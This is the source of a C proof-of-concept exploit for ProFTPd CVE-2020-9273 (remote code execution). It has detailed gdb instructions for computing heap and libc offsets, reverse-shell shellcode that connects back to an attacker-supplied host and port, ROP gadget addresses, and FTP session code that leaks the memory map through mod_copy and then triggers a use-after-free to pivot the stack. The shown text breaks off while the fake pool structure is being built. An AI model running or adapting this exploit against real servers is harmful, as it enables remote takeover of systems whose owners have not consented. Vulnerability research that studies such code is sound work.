README.md
Rendering markdown...
/*
* ProFTPd Remote Code Execution exploit - CVE-2020-9273
*
* exploit created by @dukpt_
*
* gcc -o exploit_proftpd exploit_proftpd.c && ./exploit_proftpd
*
*
* Revisions:
* ---------
* version 0.1 15/10/2020 first article and poc;
* version 0.2 28/12/2020 demo exploit released, with hardcoded addresses;
* (long pause)
* version 1.0 16/08/2021 final exploit, for localhost testing;
* version 1.1 24/02/2023 after a presentation I decided to take a look back
* again and published some features I added in the past. There's
* paper on the way, feel free to DM me if you're interested :)
* Also, I added more comments so anyone can reproduce it.
*
*
* Limitations:
* ------------
* - have to manually change FTP_PORT, FTP_HOST, and RSHELL payload if you
* want to attack remote targets;
* - offsets may vary a lot from target/instance execution, so you probably
* need to massage memory beforing finding the correct offsets of your
* target, which means run the exploit repeatedly until offsets are fixed;
* - tested on ProFTPd compiled with mod_copy only, if your target have more
* modules built-in the offsets may change (didn'test this);
* - libc offsets were calculated on Ubuntu 22.04.2 LTS;
* - IPv4 addresses only, but you can easily addapt to IPv6;
* - as you know, due to ASLR it is impossible to remotely predict the correct
* memory address of the variables we need, so this exploit is the best I
* could do to find them; there's a version of this exploit where I do not
* use mod_copy, so I try to brute-force the correct memory address and
* offsets;
* - in summary, for this exploit to work you must be sure that:
* gef➤ p->last = &p->cleanups
* gef➤ p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18
* gef➤ p->sub_next = ((char *)&gid_tab->chains) - 0xc8
* gef➤ # in addition to that, you must know the offsets
* gef➤ # you'll need to build a VM with the target you want
* gef➤ #
* gef➤ vmmap heap
* Start End Perm Path
* 0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap]
* 0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap]
* gef➤ set $start = 0x0000555555677000
* gef➤ set $end = 0x00005555556c5000
* gef➤ p/x (char *)resp_pool - $end # this is R offset
* $32 = 0x236a0
* gef➤ p/x (char *)gid_tab - $start # this is G offset
* $33 = 0x3e6d8
* gef➤ p/x (char *)session.curr_cmd_rec->notes - $start #this is S offset
* $34 = 0x459c8
* gef➤ # now use the offsets above in the exploit command line
* gef➤ # this does not garantess it will work!!
* gef➤ # that's because of ASLR that will randomize server's memory
* gef➤ # no mather how identical your machine is regarding your target
*
*
* Notes on debugging and compilation:
* -----------------------------------
* If you compile the exploit with these defines:
* - gcc -D DEBUG1 = gives you control on the FTP session and allows you to
* send commands to the FTP server before triggering the vulnerability.
* Useful if you need to prepare the server beforehand or to discover new
* comands to abuse after triggering the vulnerability;
* - gcc -D DEBUG2 = gives you "3333 CCC\x77\x11\x11\x11\x11\x77\0" as the
* last FTP command, useful if running the FTP locally and need to adjust
* the offsets.
*
* If're adjusting the offset for your remote target, then I suggest you to
* turn on -D DEBUG2 when compiling, and in gdb set the following breakpoint:
* break pool.c:856 if c == 0x771111111177
* By doing this we'll know when you gain control over the execution.
* Of course you can combine multiple -D options.
*
* Regarding ProFTPd server, during my tests it was compiled with:
* ./configure --prefix=/usr/local --with-modules=mod_copy && make -j8
*
* Add CFLAGS="-g" CXXFLAGS="-g" LDFLAGS="-g" in configure path if you want
* to debug and start gdb the following way:
*
* I noticed that the vulnerability could also be triggered after timeouts
* but the exploitation path seems the same. So I accelerated them adding
* the following in configure script:
* --enable-timeout-idle=60
* --enable-timeout-no-transfer=90
* --enable-timeout-stalled=120
*
* Although there're not required, I noticed that the same exploitation
* path could be used to trigger the vulnerability, but it seems to be
* fixed in 1.3.7rc3 version as well.
*
* Useful information when crafting an exploit for your target
* -----------------------------------------------------------
*
* In the shell1 run:
* $ sudo gdb -d src/ -d modules/ proftpd
* gef➤ set args -d7 -n -c proftpd1.3.7rc2/sample-configurations/basic.conf
* gef➤ handle SIGPIPE nostop pass
* gef➤ handle SIGALRM nostop pass
* gef➤ set follow-fork-mode child
* gef➤ break pool.c:569 if (p && p->first >= 0x4141414141414141)
* gef➤ r
*
* Now in shell2 compile & run the exploit:
* $ gcc -g -o exp exploit_proftpd.c
* $ ./exp 127.0.0.1 2121 poc cRapP@swd 127.0.0.1 4444 0x23690 0x326c8 0x399b8
*
* The last 3 arguments are offsets that I calculated for resp_pool, gid_tab
* and &session.curr_cmd_rec->notes memory address related to the initial and
* end of the first heap memory block given to ProFTPd by the allocator.
* These are mine offsets, and will change for every execution of the daemon.
* Since it is fork'ed, the virtual memory space is inherited as well, so it
* will change a couple of times - that's why you may have to massage the
* memory before getting more accuracy, which means trying a couple of times
* the same offsets.
*
* If you managed to have an environment exactly identitical to your target,
* i.e. same architecture, OS version, kernel version, compiler, compilation
* flags, libc, etc. then you *may* have success using this exploit.
* The comands below can help to calculate the offsets when crafting your args:
*
* gef➤ vmmap heap
* gef➤ set $start = 0x0000555555677000 # start of the 1st heap segment
* gef➤ set $end = 0x00005555556c5000 # end of the 1st heap segment
* gef➤ p/x (char *)resp_pool - $end # this will be the 1st offset arg
* gef➤ p/x (char *)gid_tab - $start # this will be the 2nd
* gef➤ p/x (char *)session.curr_cmd_rec->notes - $start # the 3rd and last
*
* And to calculate the gadgets:
* gef➤ vmmap libc
* gef➤ set $libc_base = 0x00007ffff7d46000
* gef➤ p $mblen_112 = (unsigned long long)mblen+112 - $libc_base
* gef➤ p $gconv_close_transform_225 = (unsigned long long)__gconv_close_transform+225 - $libc_base
* gef➤ p $do_dlopen_69 = (unsigned long long)do_dlopen+69 - $libc_base
* gef➤ p $GI___lll_lock_wake_private_22 = (unsigned long long)__GI___lll_lock_wake_private+22 - $libc_base
* gef➤ p $authnone_marshal_16 = (unsigned long long)authnone_marshal+16 - $libc_base
* gef➤ p $iconv_197 = (unsigned long long)iconv+197 - $libc_base
*
* ------------------------------------------------------------------------------
* The steps below are not required, they can be used to be sure that the
* addresses calculated by the exploit using the input parameters given are
* correct when stoping at the breakpoint:
* (gdb) p p->last = &p->cleanups
* (gdb) p p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18
* (gdb) p p->sub_next = ((char *)&gid_tab->chains) - 0xc8 # (sometimes 0xe0 or 0xf8)
*
* Credits to:
* --------
* Antonio Morales - who discovered the vulnerability;
* @lockedbyte - gave the idea to compile with mod_copy and SITE CP(FR|TO)
* /proc/self/maps file and RETR it from a temp directory, so we
* have memory layout from the target.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <err.h>
#include <errno.h>
unsigned int get_remote_port(char *pasv_answer);
unsigned long get_mem_addr(const char *what, FILE *fp, int index);
#define exit_on_error(P) \
if (P) \
err(errno, NULL);
#define RCVD_CTRL_BUFF_SIZE 0x200 // store responses of FTP control port
#define RCVD_DATA_BUFF_SIZE 0xcafe // store responses of FTP data port
#define SEND_BUFF_SIZE 0x280 // send data
// must be bigger than 0x120
/*
* These are fictitious structures, they do not represents the originals in
* size, but they help to visualize how data is going to be on memory and
* align our shellcode (trying to be didact here)
*/
struct pool_rec {
unsigned char *first;
unsigned char *last;
unsigned char *cleanups;
unsigned char *sub_pools;
unsigned char *sub_next;
unsigned char *sub_prev;
unsigned char *parent;
unsigned char *free_favail;
unsigned char *tag;
};
struct cleanup {
unsigned char *data;
unsigned char *plain_clnup_cb;
unsigned char *child_clnup_cb;
unsigned char *next;
};
/*
* These are some offsets that I managed to find during some tests I did.
* These offsets may vary a lot.
* I recommend you setup a VM from the same target OS you wish to attack and
* study how these offsets will change.
* gef➤ vmmap heap
* Start End Perm Path
* 0x0000555555679000 0x00005555556c6000 rw- [heap]
* 0x00005555556c6000 0x0000555555753000 rw- [heap] (ignore)
* gef➤ set $start = 0x0000555555679000
* gef➤ set $end = 0x00005555556c6000
* gef➤ p/x (char *)resp_pool - $end // R - resp_pool
* gef➤ p/x (char *)gid_tab - $start // G - gid_tab
* gef➤ p/x (char *)session.curr_cmd_rec->notes - $start // S
*/
enum {
R1 = 0x20f20,
G1 = 0x303d8,
S1 = 0x37628
} offset1;
enum {
R2 = 0x20ea0,
G2 = 0x30358,
S2 = 0x37568
} offset2;
enum {
R3 = 0x20e90,
G3 = 0x30308,
S3 = 0x37558
} offset3;
enum {
R4 = 0x20f70,
G4 = 0x3c428,
S4 = 0x43638
} offset4;
enum {
R5 = 0x236a0,
G5 = 0x3e6d8,
S5 = 0x459c8
} offset5;
/*
* linux/x64 reverse shell shellcode.
*
* This shellcode connects back to 127.1.1.1 address on port 4444.
* Listener needs to be opened before: nc -vl 127.0.0.1 4444
* I removed the need of password from original shellcode.
* (if you want it just uncomment middle lines and change the passwd)
*
* Author: zerosum0x0
* https://github.com/zerosum0x0/SLAE64/blob/master/reverseshell/
*
* PS.: I refused myself to download kali for msfvenom
*
*/
size_t rshell_size = 90;
unsigned char rshell[] =
//"\xcc" // int3 (debugging only)
"\x48\x83\xec\x08" // sub rsp, 0x8
"\x31\xf6" // xor %esi,%esi
"\xf7\xe6" // mul %esi
"\xff\xc6" // inc %esi
"\x6a\x02" // pushq $0x2
"\x5f" // pop %rdi
"\x04\x29" // add $0x29,%al
"\x0f\x05" // syscall
"\x50" // push %rax
"\x5f" // pop %rdi
"\x52" // push %rdx
"\x52" // push %rdx
"\xc7\x44\x24\x04\x7d\xff\xfe" // movl $0xfefeff7d,0x4(%rsp)
"\xfe"
"\x81\x44\x24\x04\x02\x01\x01" // addl $0x2010102,0x4(%rsp)
"\x02"
"\x66\xc7\x44\x24\x02\x11\x5c" // movw $0x5c11,0x2(%rsp)
"\xc6\x04\x24\x02" // movb $0x2,(%rsp)
"\x54" // push %rsp
"\x5e" // pop %rsi
"\x6a\x10" // pushq $0x10
"\x5a" // pop %rdx
"\x6a\x2a" // pushq $0x2a
"\x58" // pop %rax
"\x0f\x05" // syscall
//"\x31\xc0" // xor %eax,%eax
//"\x0f\x05" // syscall
//"\x81\x3c\x24\x5a\x7e\x72\x30" // cmpl $0x30727e5a,(%rsp)
//"\x75\x1f" // jne 62 <drop>
"\x6a\x03" // pushq $0x3
"\x5e" // pop %rsi
"\xff\xce" // dec %esi
"\xb0\x21" // mov $0x21,%al
"\x0f\x05" // syscall
"\x75\xf8" // jne 46 <dupe_loop>
"\x56" // push %rsi
"\x5a" // pop %rdx
"\x56" // push %rsi
"\x48\xbf\x2f\x2f\x62\x69\x6e" // movabs $0x68732f6e69622f2f,%rdi
"\x2f\x73\x68"
"\x57" // push %rdi
"\x54" // push %rsp
"\x5f" // pop %rdi
"\xb0\x3b" // mov $0x3b,%al
"\x0f\x05" // syscall
"\x00";
char banner[] = "[*] ProFTPd <= 1.3.7rc2 CVE-2020-9273 exploit\n"
"[*] default payload provides rshell on [attacker-host]:4444\n"
"[*] exploit developed by @dukpt_\n";
void usage(char *cmd) {
printf("[*] Use IP addresses instead of FQDN(s).\n");
printf("[*] Arguments are posicional in this poc:\n");
printf("%s [target-host] [target-port] [target-FTP-username] [target-FTP-password]"
" [attacker-host] [attacker-port] or\n", cmd);
printf("%s [target-host] [target-port] [target-FTP-username] [target-FTP-password]"
" [attacker-host] [attacker-port] [resp_pool offset] [gid_tab offset] [session.curr_cmd_rec->notes offset]\n", cmd);
printf("the offsets are in relation to the heap start and end addresses, see the exploit source code for more details\n");
printf("[*] Examples:\n");
printf("%s 206.189.94.209 2121 ftpuser \"cr@p$P4s$w0rd0*\" 123.45.67.89 4444\n", cmd);
printf("%s 206.189.94.209 2121 ftpuser \"cr@p$P4s$w0rd0*\" 123.45.67.89 4444 0x236a0 0x3e6d8 0x459c8\n", cmd);
}
int main(int argc, char *argv[])
{
int r=0, socketopt=1;
size_t tmplen=0;
int sock_ctrl = 0, sock_data = 0;
char ftpcmd[50] = {0}, buf[RCVD_CTRL_BUFF_SIZE] = {0};
struct sockaddr_in sa_ctrl = {0}, sa_data = {0};
struct pool_rec resp_pool = {0};
struct cleanup cleanup = {0};
char *shellcode = NULL;
char *maps = NULL;
FILE *fmaps = NULL;
unsigned int R=0;
unsigned int G=0;
unsigned int S=0;
unsigned char *RESP_POOL = NULL; // resp_pool
unsigned char *SESS_CURR_CMD_NOTES= NULL; // session.curr_cmd_rec->notes
unsigned char *GID_TAB = NULL; // gid_tab
unsigned char *CLEANUP_POINTER = NULL; // &p->sub_pools->cleanups?
printf("%s\n", banner);
if (argc != 7 && argc !=10) {
usage(argv[0]);
exit(1);
}
if (argc == 10) {
sscanf(argv[7], "%x", &R);
sscanf(argv[8], "%x", &G);
sscanf(argv[9], "%x", &S);
}
shellcode = malloc(SEND_BUFF_SIZE);
if(!shellcode)
exit(3);
memset(shellcode, SEND_BUFF_SIZE, sizeof(char));
// TODO: getaddrinfo instead of inet_addr, resolv DNS, parse args correctly, error check, etc.
// Well, although this is an exploit, it is still a poc, and I don't intend to weaponized it
// since it's hard to find exploit a cenario for this vulnerability be successful
// (please read my article).
/* address structure for FTP command connection */
sa_ctrl.sin_family = AF_INET;
sa_ctrl.sin_port = htons(atoi(argv[2]));
sa_ctrl.sin_addr.s_addr = inet_addr(argv[1]);
/* address structure for FTP data connection */
sa_data.sin_family = AF_INET;
sa_data.sin_addr.s_addr = inet_addr(argv[1]);
/* connect to remote FTP and reads banner */
sock_ctrl = socket(AF_INET, SOCK_STREAM, 0);
exit_on_error(sock_ctrl < 0);
r = connect(sock_ctrl, (const struct sockaddr *)&sa_ctrl, sizeof(sa_ctrl));
exit_on_error(r < 0);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
exit_on_error(r < 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
/* build and send USER and PASS login commands */
tmplen=strlen(argv[3]);
memcpy(&ftpcmd[0], "USER ", 5);
memcpy(&ftpcmd[5], argv[3], tmplen); /* increase if not enough */
memcpy(&ftpcmd[tmplen+5], "\r\n", 2);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
memset(ftpcmd, 0, 50);
tmplen=strlen(argv[4]);
memcpy(&ftpcmd[0], "PASS ", 5);
memcpy(&ftpcmd[5], argv[4], tmplen);
memcpy(&ftpcmd[tmplen+5], "\r\n", 2);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
if (r < 0 || !strcmp("230 ", buf) || !strcmp("logged in", buf)) {
err(errno, "wrong user and/or password, can't continue.");
}
/* send TYPE I, so we can send NULL and other characters in the payload */
memset(ftpcmd, 0, 50);
memcpy(ftpcmd, "TYPE I\r\n", 8);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
exit_on_error(r <= 0);
if (!strcmp("200 ", buf))
err(errno, "error TYPE I: %s", buf);
#ifndef DEBUG1
/*
* Thanks to @lockedbyte idea we're able to get a memory layout view using
* SITE CPFR and SITE CPTO commands. Basically we copy /proc/self/maps to
* a writable directory and them we RETR it, then we reflect memory heap
* and libc base addresses into our offsets and payload.
* The down side is that ProFTPd should have been compiled with mod_copy.
* Also, chroot() protection should not be enforced by the server, so /proc
* would not be acessible.
*/
memset(ftpcmd, 0, 50);
memcpy(ftpcmd, "SITE CPFR /proc/self/maps\r\n", 27);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
sync(); /* required just on local connections, probably due to CoW */
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
if ((r <= 0) || !strcmp("350 ", buf) || !strcmp("exists, ready for", buf))
err(errno, "error issuing SITE CPFR /proc/self/maps: %s", buf);
memset(ftpcmd, 0, 50);
memcpy(ftpcmd, "SITE CPTO /tmp/maps.txt\r\n", 25);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
if ((r <= 0) || !strcmp("250 ", buf) || !strcmp("successful", buf))
err(errno, "error issuing SITE CPTO /tmp/maps.txt: %s", buf);
/*
* In the 1st version of this exploit I was using the FTP command PORT, so
* invariably had to bind(), listen() and accept() for an incoming
* connection. This also means that I had to fork() and waitpid() for it's
* No problem with that, however I found much easier using PASV command,
* that will activelly connect into FTP remote data port (I think this
* what most of the FTP clients preferably do).
* So I created another socket and sent data in serialized steps.
* Also with PASV no need to open TCP ports on the router for remote
* targets connections
*/
memset(ftpcmd, 0, 50);
memcpy(ftpcmd, "PASV\r\n", 6);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
if (r <= 0 || !strcmp("227 ", buf) || !strcmp("Entering Passive Mode", buf)) {
err(errno, "%s", buf);
}
sa_data.sin_port = htons(get_remote_port(buf));
sock_data = socket(AF_INET, SOCK_STREAM, 0);
exit_on_error(sock_data < 0);
r = setsockopt(sock_data, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt));
exit_on_error(r < 0);
r = connect(sock_data, (const struct sockaddr *)&sa_data, sizeof(sa_data));
exit_on_error(r < 0);
/*
* build and send RETR to download /tmp/maps.txt file.
* We store it as mmap.txt in the current directory, we'll use it later.
*/
memset(ftpcmd, 0, 50);
memcpy(ftpcmd, "RETR /tmp/maps.txt\r\n", 20);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
maps = malloc(RCVD_DATA_BUFF_SIZE);
memset(maps, 0, RCVD_DATA_BUFF_SIZE);
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
r = recv(sock_data, maps, RCVD_DATA_BUFF_SIZE-1, 0);
maps[RCVD_DATA_BUFF_SIZE-1] = '\0';
if (r <= 0 || !strcmp("226 ", buf) || !strcmp("Transfer complete", buf)) {
err(errno, "%s", buf);
}
//sleep(1);
if (sock_data) {
close(sock_data);
}
fmaps = fopen("mmaps.txt", "w");
if (!fmaps)
err(errno, "wtf can't I store a local file at current directory?");
r = fwrite(maps, sizeof(char), RCVD_DATA_BUFF_SIZE, fmaps);
if (r < 20000)
err(errno, "file is too small, are you sure you downloaded it? please check it");
fclose(fmaps);
#endif
memset(ftpcmd, 0, 50);
memcpy(ftpcmd, "PASV\r\n", 6);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
sync(); // seems to be required just on local connections
sleep(1); // seems to be required just on local connections
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE-1, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
if (r <= 0 || !strcmp("227 ", buf) || !strcmp("Entering Passive Mode", buf)) {
err(errno, "%s", buf);
}
sa_data.sin_port = htons(get_remote_port(buf));
sock_data = socket(AF_INET, SOCK_STREAM, 0);
exit_on_error(sock_data < 0);
r = setsockopt(sock_data, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &socketopt, sizeof(socketopt));
exit_on_error(r < 0);
r = connect(sock_data, (const struct sockaddr *)&sa_data, sizeof(sa_data));
exit_on_error(r < 0);
/*
* Now we're very close to trigger the vulnerability.
* At this momment FTP control connection will not reply anymore until we
* send some data on FTP data connection, so no need to recv() data.
*/
memset(ftpcmd, 0, 50);
memcpy(ftpcmd, "STOR /tmp/aaa.txt\r\n", 19);
printf("[+] %s", &ftpcmd[0]);
r = send(sock_ctrl, ftpcmd, strlen(ftpcmd), 0);
sync(); // seems to be required just on local connections
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
buf[RCVD_CTRL_BUFF_SIZE-1] = '\0';
exit_on_error(r <= 0);
if (!strcmp("200 ", buf))
err(errno, "error issuing \"STOR /tmp/aaa.txt\", verify write " \
"permissions to this directory\nIf error persist, try "
"changing to /dev/shm/ or /run/lock/\n%s", buf);
/*
* Now it's time to extract the base addresses of heap and libc from mmaps
* file and adjust the offsets that we'll use in the exploitation path.
* We need to calculate the value of resp_pool pointer before issuing the
* last FTP command.
*/
unsigned long heap1_start = 0L;
unsigned long heap2_start = 0L;
unsigned long libc_base = 0L;
fmaps = fopen("mmaps.txt", "r");
exit_on_error(!fmaps);
heap1_start = get_mem_addr("[heap]", fmaps, 0); // get the first occurence in /proc/xxx/maps
printf("[+] heap1 begin: 0x%lx\n", heap1_start);
heap2_start = get_mem_addr("[heap]", fmaps, 1); // get the last occurrence of heap
printf("[+] heap2 begin: 0x%lx\n", heap2_start);
/*
* some systems libc is compiled with the name libc.*, other as
* libc-2.*, so it really depends on your target. On Ubuntu 20 "libc-2"
* works fine. On PopOS I'm using "libc.". On Ubuntu 22.04.01 "libc.so"
* Just change below
*/
libc_base = get_mem_addr("/usr/lib/x86_64-linux-gnu/libc.", fmaps, 0);
printf("[+] libc begin: 0x%lx\n", libc_base);
if (fmaps)
fclose(fmaps);
/*
* see offset calculations above.
* Here you should try all possibilitites R[1234..], G[1234..], S[1234..]
* The number should be the same on each R, G and S.
* Try 5 times each of them. Then restart it again. Sorry about that
* but ASLR plays a huge impact on exploiting memory of remote targets.
* You can also manually provide your offsets by adding last arguments
* to the exploit call.
* If you're sure about the memory conditions on the target, then you
* can pass the offsets as args to the exploit. To get the offsets do:
* gef➤ vmmap heap
* Start End Offset Perm Path
* 0x0000555555677000 0x00005555556c5000 0x0000000000000000 rw- [heap]
* 0x00005555556c5000 0x0000555555729000 0x0000000000000000 rw- [heap]
* set $start = 0x0000555555677000
* set $end = 0x00005555556c5000
* set $R = (char *)resp_pool - $end
* set $G = (char *)gid_tab - $start
* set $S = (char *)session.curr_cmd_rec->notes - $start
* gef➤ p/x $R
* $42 = 0x236a0
* gef➤ p/x $G
* $43 = 0x3e6d8
* gef➤ p/x $S
* $44 = 0x459c8
* # take note of them and pass those values as args to the exploit
* set p->last = &p->cleanups
* set p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18
* set p->sub_next = ((char *)&gid_tab->chains) - 0xc8
*/
if (R==0 && G==0 && S==0) {
R = R5; // remember to try other values, like R1, G1, S1
G = G5; // or R2, G2, S2, etc.
S = S5; // use always the same numbers with the letters
}
printf("[+] R=0x%x, G=0x%x, S=0x%x\n", R, G, S);
RESP_POOL = (unsigned char *)heap2_start + R; // heap2_start + R10 == resp_pool
GID_TAB = (unsigned char *)heap1_start + G; // heap1_start + G10 == gid_tab
SESS_CURR_CMD_NOTES = (unsigned char *)heap1_start + S; // heap1_start + S10 == session.curr_cmd_rec->notes
CLEANUP_POINTER = (RESP_POOL+0x48);
unsigned char *MPROTECT_RDI = (unsigned char *)((unsigned long)RESP_POOL & 0xfffffffffffff000); // initial memory page address to mprotect
unsigned char *mblen_112 = (unsigned char *)libc_base + 0x45eb0; // <mblen+112>: pop rax; ret
unsigned char *__gconv_close_transform_225 = (unsigned char *)libc_base + 0x2be50; // <__gconv_close_transform+225>: pop rsi; ret
unsigned char *do_dlopen_69 = (unsigned char *)libc_base + 0x174f95; // <do_dlopen+69>: pop rax; pop rdx; pop rbx; ret
unsigned char *__GI___lll_lock_wake_private22 = (unsigned char *)libc_base + 0x91396; // <__GI___lll_lock_wake_private+22>: syscall; ret
unsigned char *authnone_marshal_16 = (unsigned char *)libc_base + 0x15d200; // <authnone_marshal+16>: push rax; pop rsp; lea rsi,[rax+0x48]; mov rax,QWORD PTR [rdi+0x8]; jmp QWORD PTR [rax+0x18]
unsigned char *__GI___strtod_nan_107 = (unsigned char *)libc_base + 0x507bb; // pop rsp; add rsp, 0x18; pop rbx; pop rbp; ret
unsigned char *iconv_197 = (unsigned char *)libc_base + 0x2a3e5; // <iconv+197>: pop rdi; ret; (OLD: pop rdi; add rsp,0x18; pop rbx; pop rbp; ret
unsigned char *RETURN_TO_SHELLCODE = RESP_POOL + 0xb8; // this is where shellcode will be
/*
* We need to send CRAP xxxxxx since the parameter is not upper cased.
* Also the command should be at most 4 in lenght.
*/
//r = send(sock_ctrl, (void *)"SITE CPFR /home/poc/oi.txt\r\n", 28, 0);
//sleep(5);
//sync(); // seems to be required just on local connections
//r = send(sock_ctrl, (void *)"SITE CPTO /home/poc/dddddd\r\n", 28, 0);
//sleep(5);
#ifdef DEBUG1
printf("[DEBUG1] If you want, you can change the values of last commands.\n");
printf("[DEBUG1] Your command must NOT start with \".\"\n");
printf("[DEBUG1] Inside gdb you can send as many comamands you want, e.g.:\n");
printf("[DEBUG1] gef➤ p buf=\"STOR /tmp/kkk.txt\\r\\n\"\n");
printf("[DEBUG1] gef➤ p buf=\"RANG\\r\\n\"\n");
printf("[DEBUG1] gef➤ p buf=\"HELP\\r\\n\"\n");
printf("[DEBUG1] gef➤ Then type c to process it:\n");
printf("[DEBUG1] gef➤ c\n");
printf("[DEBUG1] When done sending, do the following on gdb:\n");
printf("[DEBUG1] gef➤ p buf=\".\\n\"\n");
printf("[DEBUG1] Note that you will not receive the output of the command sent.\n");
printf("[DEBUG1] If you really need, type in gdb before:\n");
printf("[DEBUG1] gef➤ p debug1_recv=1\n");
size_t debug1_size_buf=0;
size_t debug1_recv=0;
loop_debug1_start:
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
//asm("int3");
debug1_size_buf = strlen(buf);
if (debug1_size_buf > 0) {
if (buf[0] == '.') goto loop_debug1_end;
r = send(sock_ctrl, (void *)buf, debug1_size_buf+1, 0);
sleep(1);
sync(); // seems to be required just on local connections
if (debug1_recv==1) {
send(sock_data, (void *)"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\0", 35, 0);
sync(); // seems to be required just on local connections
r = recv(sock_ctrl, buf, RCVD_CTRL_BUFF_SIZE, 0);
sync(); // seems to be required just on local connections
printf("[DEBUG1] received: %s\n", buf);
}
}
goto loop_debug1_start;
loop_debug1_end:
#endif
r = send(sock_ctrl, (void *)"1111 AAAAAAAAAAAAAAAAAAAAAAAAA\r\n", 32, 0);
sync(); // seems to be required just on local connections
r = send(sock_ctrl, (void *)"2222 BBBBBBBBBBBBBBBBBBBBBBBBB\r\n", 32, 0);
sync(); // seems to be required just on local connections
memset(buf, 0, RCVD_CTRL_BUFF_SIZE);
memcpy(buf, "3333 CCC", 8);
memcpy(&buf[8], &CLEANUP_POINTER, 8); // CLEANUP_POINTER = RESP_POOL + 0x48, first ROP gadget <authnone_marshal+16>
#ifdef DEBUG2
/* src/pool.c:
* 854 static void run_cleanups(cleanup_t *c) {
* 855 while (c) {
* 856 if (c->plain_cleanup_cb) {
* 857 (*c->plain_cleanup_cb)(c->data);
* 858 }
* 859
* 860 c = c->next;
* 861 }
* ──────────────────────────────────────────────────────────────────────────
* gef➤ p *c
* $6 = {
* data = 0x560f1919d6f8,
* plain_cleanup_cb = 0x7711111111111177 # first ROP gadget <authnone_marshal+16>
* child_cleanup_cb = 0x4141414141414141, # will be our stack
* next = 0x9090909090909090
* }
* now in gdb break pool.c:856 if c == 0x771111111177
*/
memcpy(buf, "3333 CCC\x77\x11\x11\x11\x11\x77\0", 15); // we should not send real commands, e.g. "APPE" otherwise CVE-2020-9274 will be triggered and mess up with our payload
#endif
r = send(sock_ctrl, (void *)buf, 15, 0);
sleep(1);
sync(); // seems to be required just on local connections
if (sock_ctrl) {
printf("[+] closing FTP and triggering the vulnerability\n");
//close(sock_ctrl);
shutdown(sock_ctrl, SHUT_RDWR);
} else {
printf("\n[-] humm strange, why socket is already closed?!\n");
}
resp_pool.first = (char *)0xCAFECAFECAFECAFE; // resp_pool + 0x00
resp_pool.last = RESP_POOL + 0x10; // resp_pool + 0x08, p->last = &p->cleanups
resp_pool.cleanups = (char *)0x4444444444444444; // resp_pool + 0x10, must be greater than p->sub_next
resp_pool.sub_pools = SESS_CURR_CMD_NOTES - 0x28 + 0x18; // resp_pool + 0x18, p->sub_pools = ((char *)&session.curr_cmd_rec->notes->chains) - 0x28 + 0x18
resp_pool.sub_next = GID_TAB - 0xc8; // resp_pool + 0x20, p->sub_next = ((char *)&gid_tab->chains) - 0xc8 # sometimes 0xe0 or 0xf8
resp_pool.sub_prev = (char *)0x4141414141414141; // resp_pool + 0x28
resp_pool.parent = (char *)0x4141414141414141; // resp_pool + 0x30
resp_pool.free_favail = (char *)0x4141414141414141; // resp_pool + 0x38
resp_pool.tag = (char *)0x4444444444444444; // resp_pool + 0x40, pop rsp; ret
cleanup.data = (char *)RESP_POOL + 0x68; // resp_pool + 0x48, our new rsp, doing stack pivoting, &cleanup->next + 0x8
